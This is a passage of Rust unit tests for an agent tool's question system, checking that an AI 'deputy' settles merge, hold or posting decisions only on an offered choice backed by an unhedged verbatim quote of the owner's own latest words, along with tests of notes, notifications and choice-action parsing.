3574            descriptive.say(message).unwrap();
3575            assert!(
3576                descriptive
3577                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3578                    .is_err()
3579            );
3580            assert!(descriptive.status.open());
3581            assert!(descriptive.answer.is_none());
3582        }
3583        let mut descriptive = mk();
3584        let message = "Post original was the option I saw.";
3585        descriptive.say(message).unwrap();
3586        for quote in [message, "Post original"] {
3587            assert!(
3588                descriptive
3589                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3590                    .is_err()
3591            );
3592            assert!(descriptive.status.open());
3593            assert!(descriptive.answer.is_none());
3594        }
3595        // The changed text is the safe default: no extra guard beyond the quote.
3596        let mut safe = mk();
3597        safe.say("use the fallback").unwrap();
3598        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3599            .unwrap();
3600    }
3601
3602    #[test]
3603    fn posting_deputy_rejects_multiline_quoted_context() {
3604        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3605        for (command, choice) in [
3606            ("Post original", POST_ORIGINAL),
3607            ("Use rewrite", USE_REWRITE),
3608        ] {
3609            for message in [
3610                format!("The log contains:\n```\n{command}\n```"),
3611                format!("The log contains:\n\"\n{command}\n\""),
3612                format!("The log says: “Reported. {command}.”"),
3613                format!("The log says: “\n{command}\n”"),
3614            ]
3615            .into_iter()
3616            .chain(crate::github_text::reported_posting_messages(command))
3617            {
3618                let mut q = Question::new(
3619                    "run".into(),
3620                    ASK_NODE.into(),
3621                    ASK_SEAT.into(),
3622                    "s".into(),
3623                    String::new(),
3624                    vec![USE_FALLBACK.into(), choice.into()],
3625                );
3626                let mut dep = Deputy::new("brief".into());
3627                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3628                q.deputy = Some(dep);
3629                q.say(&message).unwrap();
3630                let tmp = tempfile::tempdir().unwrap();
3631                let questions = Questions::at(tmp.path().join("questions"));
3632                questions.put(&mut q).unwrap();
3633                for quote in [command, message.as_str()] {
3634                    assert!(
3635                        questions
3636                            .update(&q.id, |stored| {
3637                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3638                            })
3639                            .is_err()
3640                    );
3641                    let after = questions.get(&q.id).unwrap();
3642                    assert!(after.status.open());
3643                    assert!(after.answer.is_none());
3644                }
3645            }
3646        }
3647    }
3648
3649    #[test]
3650    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3651        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3652        let mk = || {
3653            let mut q = Question::new(
3654                "run".into(),
3655                crate::github_text::ASK_NODE.into(),
3656                crate::github_text::ASK_SEAT.into(),
3657                "s".into(),
3658                String::new(),
3659                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3660            );
3661            let mut dep = Deputy::new("brief".into());
3662            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3663            q.deputy = Some(dep);
3664            q
3665        };
3666        let mut hedged = mk();
3667        hedged.say("Use the rewrite, maybe?").unwrap();
3668        assert!(
3669            hedged
3670                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3671                .is_err()
3672        );
3673        let mut descriptive = mk();
3674        let message = "Use rewrite was the option I saw.";
3675        descriptive.say(message).unwrap();
3676        for quote in [message, "Use rewrite"] {
3677            assert!(
3678                descriptive
3679                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3680                    .is_err()
3681            );
3682            assert!(descriptive.status.open());
3683            assert!(descriptive.answer.is_none());
3684        }
3685        for words in [
3686            "Use the rewrite text as it is.",
3687            "I'd like to use the rewrite",
3688            "修正版で投稿してください。",
3689        ] {
3690            let mut clear = mk();
3691            clear.say(words).unwrap();
3692            clear
3693                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3694                .unwrap();
3695            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3696        }
3697        // The changed text is the safe default: no extra guard beyond the quote.
3698        let mut safe = mk();
3699        safe.say("use the fallback").unwrap();
3700        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3701            .unwrap();
3702    }
3703
3704    #[test]
3705    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3706        let mk = |choices: Vec<String>| {
3707            let mut q = Question::new(
3708                String::new(),
3709                crate::bump::NOTICE_NODE.into(),
3710                "release-watch".into(),
3711                "Release?".into(),
3712                String::new(),
3713                choices,
3714            );
3715            let mut dep = Deputy::new("brief".into());
3716            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3717            q.deputy = Some(dep);
3718            q
3719        };
3720        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3721        assert!(crate::deputy::merge_gated(&approval));
3722        approval.say("マージしていいよ").unwrap();
3723        assert!(
3724            approval
3725                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3726                .is_err(),
3727            "a quote the owner never said is refused"
3728        );
3729        approval
3730            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3731            .unwrap();
3732
3733        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3734        assert!(!crate::deputy::merge_gated(&esc));
3735        esc.say("もう監視はいらない").unwrap();
3736        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3737            .unwrap();
3738        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3739    }
3740
3741    #[test]
3742    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3743        let mut q = approval_question();
3744        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3745            .unwrap();
3746        assert!(
3747            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3748                .is_err(),
3749            "the quote must be the owner's"
3750        );
3751        assert!(
3752            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3753                .is_err(),
3754            "`hold` still needs the whole message"
3755        );
3756        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3757            .unwrap();
3758        assert_eq!(q.resolution().as_deref(), Some("merge"));
3759    }
3760
3761    fn settle_ready() -> Question {
3762        let mut q = Question::new(
3763            "task".to_owned(),
3764            "conduct".to_owned(),
3765            "conduct".to_owned(),
3766            "Done?".to_owned(),
3767            String::new(),
3768            vec!["yes".to_owned(), "no".to_owned()],
3769        );
3770        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3771        seat.turns = 1;
3772        let mut dep = Deputy::new("brief".to_owned());
3773        dep.seat = Some(seat);
3774        q.deputy = Some(dep);
3775        q.say("setup done, and file a follow-up").unwrap();
3776        q
3777    }
3778
3779    #[test]
3780    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3781        let dir = tempfile::TempDir::new().unwrap();
3782        let store = Questions::at(dir.path().join("questions"));
3783        let mut q = settle_ready();
3784        let id = q.id.clone();
3785        store.put(&mut q).unwrap();
3786        store
3787            .update(&id, |q| {
3788                q.settle_by_deputy(
3789                    "deputy-x",
3790                    "yes",
3791                    "setup done",
3792                    Some("  no follow-up was queued  "),
3793                )
3794            })
3795            .unwrap();
3796        let back = store.get(&id).unwrap();
3797        let turn = back.thread.last().unwrap();
3798        assert_eq!(turn.who, Who::Agent);
3799        assert!(turn.body.starts_with("Settled as `yes`"));
3800        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3801        assert_eq!(back.thread[0].note, None);
3802    }
3803
3804    #[test]
3805    fn an_empty_or_blank_settle_note_is_no_note() {
3806        for note in [None, Some(""), Some("  \n ")] {
3807            let mut q = settle_ready();
3808            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3809                .unwrap();
3810            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3811            let json = serde_json::to_string(&q).unwrap();
3812            assert!(!json.contains("\"note\""), "no key when there is none");
3813        }
3814    }
3815
3816    #[test]
3817    fn a_refused_settle_leaves_no_note_behind() {
3818        let mut q = settle_ready();
3819        let before = q.thread.clone();
3820        assert!(
3821            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3822                .is_err()
3823        );
3824        assert!(
3825            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3826                .is_err()
3827        );
3828        assert_eq!(q.thread, before);
3829        assert_eq!(q.status, QuestionStatus::Open);
3830    }
3831
3832    #[test]
3833    fn a_turn_written_before_notes_existed_still_reads() {
3834        let t: Turn =
3835            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3836                .unwrap();
3837        assert_eq!(t.note, None);
3838    }
3839
3840    #[test]
3841    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3842        let mut q = approval_question();
3843        q.say("merge").unwrap();
3844        q.reply("sure?", vec!["merge".into(), "hold".into()])
3845            .unwrap();
3846        q.say("wait, hold off").unwrap();
3847        assert!(
3848            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3849                .is_err()
3850        );
3851        assert_eq!(q.status, QuestionStatus::Open);
3852    }
3853
3854    #[test]
3855    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3856        let mut q = Question::new(
3857            "task".to_owned(),
3858            "conduct".to_owned(),
3859            "conduct".to_owned(),
3860            "Done?".to_owned(),
3861            String::new(),
3862            vec!["yes".to_owned(), "no".to_owned()],
3863        );
3864        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3865        seat.turns = 1;
3866        let mut dep = Deputy::new("brief".to_owned());
3867        dep.seat = Some(seat);
3868        q.deputy = Some(dep);
3869        q.say("setup done, go ahead").unwrap();
3870
3871        assert!(
3872            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3873                .is_err()
3874        );
3875        assert!(
3876            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3877                .is_err()
3878        );
3879        assert!(
3880            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3881                .is_err()
3882        );
3883        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3884        assert_eq!(q.status, QuestionStatus::Open);
3885
3886        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3887            .unwrap();
3888        assert_eq!(q.status, QuestionStatus::Answered);
3889        assert_eq!(q.resolution().as_deref(), Some("yes"));
3890        let last = q.thread.last().unwrap();
3891        assert_eq!(last.who, Who::Agent);
3892        assert!(
3893            last.body.contains("setup done"),
3894            "the quote stays on the record"
3895        );
3896    }
3897
3898    #[test]
3899    fn a_question_written_before_deputies_still_reads() {
3900        let mut q = Question::new(
3901            "task".to_owned(),
3902            "conduct".to_owned(),
3903            "conduct".to_owned(),
3904            "Done?".to_owned(),
3905            String::new(),
3906            Vec::new(),
3907        );
3908        q.schema = 4;
3909        let mut v = serde_json::to_value(&q).unwrap();
3910        v.as_object_mut().unwrap().remove("deputy");
3911        let back: Question = serde_json::from_value(v).unwrap();
3912        assert!(back.deputy.is_none());
3913    }
3914
3915    #[test]
3916    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3917        let mut q = choice_question();
3918        q.say("does the cache need eviction?").unwrap();
3919        assert_eq!(q.thread.len(), 1);
3920        assert_eq!(q.thread[0].who, Who::Operator);
3921        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3922        // Speaking is not deciding: the status and the answer are untouched,
3923        // which is the whole point of the round trip existing at all.
3924        assert_eq!(q.status, QuestionStatus::Open);
3925        assert!(q.answer.is_none());
3926        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3927    }
3928
3929    #[test]
3930    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3931        let mut answered = choice_question();
3932        answered
3933            .answer(Answer::Choice("SQLite".to_owned()))
3934            .unwrap();
3935        let a = answered.say("still there?").unwrap_err().to_string();
3936        assert!(a.contains("already answered"), "{a}");
3937        let b = answered
3938            .reply("still there?", vec![])
3939            .unwrap_err()
3940            .to_string();
3941        assert!(b.contains("already answered"), "{b}");
3942
3943        let mut abandoned = choice_question();
3944        abandoned.abandon("timed out");
3945        let c = abandoned.say("hello?").unwrap_err().to_string();
3946        assert!(c.contains("abandoned"), "{c}");
3947
3948        let mut open = choice_question();
3949        let d = open.say("   ").unwrap_err().to_string();
3950        assert!(d.contains("empty"), "{d}");
3951        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3952        assert!(e.contains("empty"), "{e}");
3953        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3954    }
3955
3956    #[test]
3957    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3958        let mut q = choice_question();
3959        q.say("SQLite or Redis, but what about disk space?")
3960            .unwrap();
3961        assert!(q.waiting_on_agent());
3962
3963        q.reply(
3964            "SQLite: it is one file, no server to run.",
3965            vec!["SQLite".to_owned()],
3966        )
3967        .unwrap();
3968
3969        assert_eq!(q.choices, ["SQLite"]);
3970        assert!(
3971            !q.waiting_on_agent(),
3972            "the agent spoke, so the owner is the one being waited on now"
3973        );
3974        assert_eq!(q.thread.len(), 2);
3975        assert_eq!(q.thread[1].who, Who::Agent);
3976
3977        // The new choice set is what a subsequent answer is checked against.
3978        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3979        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3980        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3981    }
3982
3983    #[test]
3984    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3985        let mut fresh = choice_question();
3986        assert!(
3987            fresh.should_notify(Timestamp::now()),
3988            "nobody has been notified yet, so the first ask always pages"
3989        );
3990
3991        fresh.say("why not Postgres?").unwrap();
3992        let just_said = fresh.thread[0].at;
3993        assert!(
3994            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3995            "still on the screen a minute later; no need to page again"
3996        );
3997        assert!(
3998            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3999            "exactly the window: `>` means this side stays quiet"
4000        );
4001        assert!(
4002            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4003            "past the window: they may have walked away"
4004        );
4005    }
4006
4007    #[test]
4008    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4009        let (_dir, s) = store();
4010        let mut q = choice_question();
4011        s.put(&mut q).unwrap();
4012        q.say("why not Postgres?").unwrap();
4013        s.put(&mut q).unwrap();
4014        q.reply("no server to run", vec!["SQLite".to_owned()])
4015            .unwrap();
4016        s.put(&mut q).unwrap();
4017
4018        assert_eq!(
4019            s.count_open(),
4020            1,
4021            "one question that talked twice is still one open question"
4022        );
4023        assert_eq!(s.open_for(&q.run).len(), 1);
4024    }
4025
4026    #[tokio::test]
4027    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4028        let (dir, s) = store();
4029        let mut q = choice_question();
4030        let id = q.id.clone();
4031        let writer = Questions::at(dir.path().join("questions"));
4032        let handle = tokio::spawn(async move {
4033            tokio::time::sleep(Duration::from_millis(30)).await;
4034            let mut fresh = writer.get(&id).expect("the question was filed first");
4035            fresh.say("why not Postgres?").unwrap();
4036            writer.put(&mut fresh).unwrap();
4037        });
4038
4039        let got = wait_for_owner(
4040            &mut q,
4041            &s,
4042            &quiet(),
4043            Duration::from_secs(5),
4044            Duration::from_millis(10),
4045        )
4046        .await
4047        .unwrap();
4048
4049        handle.await.unwrap();
4050        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4051        assert_eq!(
4052            q.status,
4053            QuestionStatus::Open,
4054            "talking back is not a decision; the question stays open"
4055        );
4056        assert!(q.answer.is_none());
4057    }
4058
4059    #[test]
4060    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4061        let mut q = choice_question();
4062        q.say("A").unwrap();
4063        q.delivered_turns = q.thread.len();
4064        q.say("B").unwrap();
4065        q.reply("about A", vec![]).unwrap();
4066        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4067        q.delivered_turns = q.thread.len();
4068        assert_eq!(q.unread_from_owner(), None);
4069    }
4070
4071    #[test]
4072    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4073        let (_d, s) = store();
4074        let mut q = choice_question();
4075        s.put(&mut q).unwrap();
4076        q.say("first").unwrap();
4077        q.say("second").unwrap();
4078        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4079        s.put(&mut q).unwrap();
4080        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4081        let mut out = Vec::new();
4082        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4083        let shown = String::from_utf8(out).unwrap();
4084        let (a, b, c) = (
4085            shown.find("first").unwrap(),
4086            shown.find("second").unwrap(),
4087            shown.find("SQLite").unwrap(),
4088        );
4089        assert!(a < b && b < c, "{shown}");
4090        assert_eq!(q.delivered_turns, q.thread.len());
4091        assert!(q.answer_delivered);
4092    }
4093
4094    #[test]
4095    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4096        let mut q = choice_question();
4097        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4098        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4099        let mut q = choice_question();
4100        q.say("old").unwrap();
4101        q.delivered_turns = q.thread.len();
4102        q.say("new").unwrap();
4103        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4104        let shown = answer_for_agent(&q, "SQLite");
4105        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4106    }
4107
4108    #[test]
4109    fn recovery_aliases_require_a_unique_offered_structured_effect() {
4110        let mut q = choice_question();
4111        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4112        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4113            q.actions
4114                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4115        }
4116        assert!(
4117            q.resolve_reply("再開")
4118                .unwrap_err()
4119                .to_string()
4120                .contains("ambiguous")
4121        );
4122        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4123        q.choices.remove(1);
4124        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4125        assert!(q.resolve_reply("resume run-b").is_err());
4126        assert!(q.resolve_reply("保留").is_err());
4127        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4128        assert!(!ChoiceAction::Done.matches_alias("完了"));
4129    }
4130
4131    #[test]
4132    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4133        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4134        let ok = parse_actions(
4135            &[
4136                "resume で続行する=resume".to_owned(),
4137                "wait=done".to_owned(),
4138            ],
4139            &choices,
4140            "run-1",
4141        )
4142        .unwrap();
4143        assert_eq!(
4144            ok["resume で続行する"],
4145            ChoiceAction::Resume {
4146                run: "run-1".into()
4147            }
4148        );
4149        assert_eq!(ok["wait"], ChoiceAction::Done);
4150
4151        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4152        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4153        assert_eq!(
4154            ChoiceAction::parse("x=requeue", "").unwrap().1,
4155            ChoiceAction::Requeue
4156        );
4157
4158        assert_eq!(
4159            ChoiceAction::parse("x=hold", "").unwrap().1,
4160            ChoiceAction::Hold
4161        );
4162
4163        for bad in [
4164            "no-equals",
4165            "=done",
4166            "x=resume",
4167            "x=resume:",
4168            "x=explode",
4169            "x=done:1",
4170        ] {
4171            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4172        }
4173        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4174        assert!(
4175            parse_actions(
4176                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4177                &choices,
4178                ""
4179            )
4180            .is_err()
4181        );
4182    }
4183
4184    #[test]
4185    fn only_a_chosen_label_with_an_action_is_actionable() {
4186        let mut q = choice_question();
4187        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4188        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4189        assert!(q.chosen_action().is_none(), "unanswered");
4190        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4191        assert!(
4192            q.chosen_action().is_none(),
4193            "a label that merely reads like an action does nothing"
4194        );
4195
4196        let mut q2 = choice_question();
4197        q2.choices = vec!["SQLite".to_owned()];
4198        q2.actions
4199            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4200        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4201        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4202    }
4203
4204    #[test]
4205    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4206        let mut q = choice_question();
4207        q.choices = vec!["A".to_owned(), "B".to_owned()];
4208        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4209        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4210        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4211        assert_eq!(q.actions.len(), 1);
4212        assert!(q.actions.contains_key("B"));
4213
4214        let mut v = serde_json::to_value(&q).unwrap();
4215        v.as_object_mut().unwrap().remove("actions");
4216        let old: Question = serde_json::from_value(v).unwrap();
4217        assert!(old.actions.is_empty());
4218    }
4219}